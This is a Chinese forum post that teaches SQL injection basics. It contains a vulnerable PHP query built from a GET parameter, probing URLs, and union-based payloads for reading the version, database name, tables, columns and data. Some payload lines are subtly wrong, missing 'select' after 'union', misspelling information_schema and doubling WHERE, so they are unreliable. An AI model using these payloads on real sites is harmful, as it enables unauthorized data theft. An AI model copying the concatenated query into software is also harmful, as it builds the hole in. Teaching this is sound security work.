渗透入门 _SQL 注入

本贴最后更新于 974 天前,其中的信息可能已经沧海桑田
sql 注入原理

 sql 注入就是指 web 应用程序对用户输入的数据合法性没有过滤或者判断,前端传入的参数是攻击者可以控制的,并且参数可以带入数据库中执行,攻击者可以通过构造恶意的 sql 语句来实现对数据库进行任意操作

#$id= 1
$id = $_GET['id']
$sql = 'select * from user where id ="$id" limit 0,1'
#查找user表中id=1的第一行数据
sql 注入漏洞产生的条件:
  • 参数用户可控:前端传入的参数由用户控制
  • 参数带入到数据库语句中执行:传入的参数拼接到 SQL 语句中,并带入数据库中执行
sql 注入类型

按注入点分:

  • 数字型
  • 字符型
  • 搜索

按提交方式分:

  • GET
  • POST
  • HEAD
  • COOKIE

按执行效果分:

  • 基于布尔的盲注
  • 基于时间的盲注
  • 基于报错的注入
  • 联合查询注入

总结来说有:

联合注入,布尔注入,报错注入,时间注入,堆叠注入,二次注入,宽字节注入,cookie 注入..

如何判断测试点是否存在 sql 注入

GET 型:

1.在 url 链接中附加一个单引号,如:

http://xxx.xxx.xxx/abc.php?p=1'

此时 abc.php 中的 SQL 语句变成了

select * from 表名 where p = '1''
#结果为abc.php运行异常
2.在 url 链接中附加字符串'and 1=1,如:

http://xxx.xxx.xxx/abc.php?p=1' and 1=1

测试结果为 abc.php 正常运行,以及结果与 http://xxx.xxx.xxx/abc.php?p=1'的结果一致

3.在 url 中附加字符串'and 1 = 2,如:

http://xxx.xxx.xxx/abc.php?p=1' and 1=2

结果为 abc.php 运行异常

以上三种情况可测试 abc.php 中是否存在 SQL 注入漏洞

GET 类型无防护注入
#预估的sql语句
select * from user where id =1
#判断这个user表,查询的出来的内容有多少个字段
select * from user where id =1 order by 4
#判断到字段数为4个,就可以利用union来查询显示位(id=-1是让页面显示我们后面查询的1,2,3,4,由此判断哪些会位置会在页面显示)
select * from user where id =-1 union select 1,2,3,4
#拿敏感数据([version():版本信息],[database():数据库名])
select * from user where id =-1  union 1,2,version(),database()
#获取当前数据库中的一些表信息--->爆表
union 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database()
#获取所需表中的字段-->爆字段
union 1,2,3,group_concat(column_name) from informatioin_schema.columns where table_schema=database() where table_name = '所需表的名字'
#获取表中的值
union 字段1,字段2,字段3,字段4 from 表名 limit 0,1

相关帖子

欢迎来到这里!

我们正在构建一个小众社区,大家在这里相互信任,以平等 • 自由 • 奔放的价值观进行分享交流。最终,希望大家能够找到与自己志同道合的伙伴,共同成长。

注册 关于
请输入回帖内容 ...